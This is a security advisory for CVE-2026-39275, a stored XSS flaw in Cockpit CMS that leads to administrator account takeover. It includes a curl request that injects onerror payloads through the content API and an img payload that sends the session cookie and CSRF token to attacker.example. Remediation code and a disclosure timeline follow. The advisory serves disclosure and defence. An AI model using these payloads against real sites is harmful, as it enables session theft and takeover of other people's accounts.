## https://sploitus.com/exploit?id=PACKETSTORM:225037
# CVE-2026-39275 - Stored XSS Leading to Account Takeover in Cockpit CMS
[](https://www.cve.org/CVERecord?id=CVE-2026-39275)
[](https://cwe.mitre.org/data/definitions/79.html)
[](#)
[](#)
> Note: Responsibly disclosed to and patched by the Cockpit CMS maintainers prior to publication.
| | |
|---|---|
| **CVE ID** | CVE-2026-39275 |
| **Vulnerability** | Stored Cross-Site Scripting (XSS) โ Account Takeover |
| **CWE** | CWE-79 |
| **Affected** | Cockpit CMS `<= 2.13.5` |
| **Patched** | [`d70dc50`](https://github.com/Cockpit-HQ/Cockpit/commit/d70dc5059732fc97bd65aa3583cd0f88631a3c78) |
| **CVSS 3.1** | 8.4 (`AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N`) |
| **Reporter** | Rohith - Security Consultant @ SecurifyAI |
---
## Summary
A stored XSS vulnerability in the content collection list view allows any user with content write access (an API key or an authenticated editor session) to inject arbitrary JavaScript that executes in the browser of any administrator or editor who views the affected collection's item list.
Cockpit's session tokens are fully reachable from JavaScript - the session cookie is set without the `HttpOnly` flag, and the CSRF JWT is exposed in the global `App.csrf` variable and the `data-csrf` attribute on `<html>`. This lets the injected script read both tokens and replay them externally, defeating CSRF protection and enabling full session hijacking and account takeover.
---
## Root Cause
Field `render()` outputs are passed to Vue's `v-html` directive without output encoding.
| File | Line(s) | Role |
|------|---------|------|
| `modules/App/assets/vue-components/fields/field-tags.js` | 25 - 34 | Tags renderer - no encoding |
| `modules/App/assets/vue-components/fields/field-select.js` | 26 | Select renderer - no encoding |
| `modules/Content/views/collection/items.php` | 149 | `v-html` sink |
---
## Proof of Concept
### 1. Inject the payload (low-privilege write API key)
```bash
curl -X POST "http://localhost:8080/api/content/item/posts" \
-H "Content-Type: application/json" \
-H "api-key: USR-<attacker-api-key>" \
-d '{
"data": {
"title": "Innocent Looking Post",
"tags": [
"<img src=x onerror=alert(document.cookie)>",
"<img src=x onerror=alert(App.csrf)>"
],
"body": "Just a regular post.",
"_state": 1
}
}'
```
### 2. Trigger execution
An admin or editor navigates to `/content/collection/items/posts`. The tags renderer returns the stored string, `v-html` parses it into a real `<img>` element, the bogus `src` fails, and the `onerror` handler fires.
### 3. Token theft
Both tokens are now readable - the session cookie via `document.cookie` and the CSRF JWT via `App.csrf` / `document.documentElement.getAttribute('data-csrf')`. A weaponized payload exfiltrates both:
```html
<img src=x onerror="fetch('https://attacker.example/steal?c='+document.cookie+'&t='+App.csrf)">
```
<img width="1919" height="1030" alt="image" src="https://github.com/user-attachments/assets/af83df6f-7d8c-4554-ad3e-9a3968bc74b2" />
### 4. Session replay
The attacker replays the stolen cookie and CSRF token, gaining full authenticated admin access - and can then create admin accounts, change credentials, or modify content.
---
## Impact
A low-privilege editor (or any content write API key holder) escalates to full administrator. The payload is stored and fires for every admin/editor who views the list, making it a persistent, multi-victim compromise.
---
## Remediation
**Primary fix** - sanitize render output before it reaches `v-html` using the existing `App.utils.stripTags()` helper.
`field-tags.js`:
```js
value = App.utils.stripTags(value); // sanitize before v-html
```
`field-select.js`:
```js
return App.utils.stripTags(value); // sanitize before v-html
```
**Defense in depth** - harden the session cookie:
```php
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 1); // over HTTPS
ini_set('session.cookie_samesite', 'Strict');
```
`HttpOnly` alone is insufficient - the XSS can still act within the victim's authenticated browser context - so output encoding is the essential fix.
---
## Disclosure Timeline
| Date | Event |
|------|-------|
| 2026-03-29 | Vulnerability reported to Cockpit CMS maintainers |
| 2026-03-29 | Fix released by maintainers |
| 2026-04-04 | CVE requested |
| 2026-06-23 | CVE-2026-39275 assigned |
| `<pub date>` | Public disclosure |
---
This material is published for educational and defensive purposes following coordinated disclosure. Use only against systems you own or are explicitly authorized to test.